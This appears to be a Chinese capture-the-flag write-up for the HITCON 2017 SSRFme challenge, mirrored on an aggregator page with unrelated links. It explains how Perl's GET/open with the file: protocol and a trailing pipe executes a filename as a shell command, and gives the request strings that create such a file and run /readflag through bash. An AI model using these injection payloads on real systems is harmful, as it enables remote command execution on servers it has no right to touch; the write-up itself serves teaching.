当前位置: 首页 > news >正文

[HITCON 2017]SSRFme perl语言的 GET open file 造成rce

这里记录学习一下 perl的open缺陷

这里首先本地测试一下

发现这里使用open打开 的时候 如果通过管道符 就会实现命令执行

然后这里注意的是 perl 中的get 调用了 open的参数 所以其实我们可以通过管道符实现命令执行

然后这里如果file可控那么就继续可以实现命令执行

这里就是 open支持file协议

file协议加上| 可以将文件名 作为shell输出

touch 'id|'GET 'file:id|'

类似这种

然后我们可以开始做这个题目

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));$info = pathinfo($_GET["filename"]);$dir  = str_replace(".", "", basename($info["dirname"]));

这里是内容 我们输入通过GET url 可以实现写入一个文件

这里考的其实就是

我们通过filename生成一个shell文件(名字为shell)

然后通过(GET filename)这种形式实现命令执行 然后再写入一个文件

这里可能比较抽象 我们来本地测试一下

这里我们首先可以通过

    @mkdir($dir);@chdir($dir);@file_put_contents(basename($info["basename"]), $data);

这种确定是perl语言

然后

我们首先传入

url=123&filename=ls|   //目的创建一个shell名字的文件然后url=file:ls|&filename=1.txt  // 通过file协议和| 让ls不做为文件名 而变为shell

首先了命令执行

然后

这里可以发现是一个二进制文件 无法获取flag 我们通过 bash开启操作即可

?url=123|&filename=bash -c /readflag|/?url=file:bash -c /readflag|&filename=1.txt

然后我们就获取到了flag 这里或者可以通过反弹shell实现 但是麻烦了

http://www.lryc.cn/news/255770.html

相关文章:

  • 华为配置Smart Link主备备份示例
  • harmonyOS开发技巧(一)——封装hilog日志
  • npm、yarn常用命令
  • 编译和使用WPS-ghrsst-to-intermediate生成SST
  • 通过静态HTTP实现负载均衡
  • Python开发运维:Python常见异常类型
  • HarmonyOS学习 第1节 DevEco Studio配置
  • WordPress 注册/重置密码/更改密码钩子
  • LabVIEW开发远程结构健康监测系统
  • 多段图问题-动态规划解法
  • Android实验:绑定service实验
  • K8S集群优化的可执行优化
  • Remix IDE 快速开始Starknet
  • SQL中limit与分页的结合
  • KALI LINUX信息收集
  • 联想电脑重装系统Win10步骤和详细教程
  • PET(Point-Query Quadtree for Crowd Counting, Localization, and More)
  • NgRx中dynamic reducer的原理和用法?
  • 麒麟V10服务器安装Apache+PHP
  • DOS 批处理 (一)
  • P1047 [NOIP2005 普及组] 校门外的树题解
  • pip的常用命令
  • 力扣面试题 08.12. 八皇后(java回溯解法)
  • 2023年第十二届数学建模国际赛小美赛A题太阳黑子预测求解分析
  • jsp 分页查询展示,实现按 上一页或下一页实现用ajax刷新内容
  • 基于ssm在线云音乐系统的设计与实现论文
  • 简谈PostgreSQL的wal_level=logic
  • 自动化巡检实现方法 (一)------- 思路概述
  • mysql获取时间异常
  • 维基百科文章爬虫和聚类:高级聚类和可视化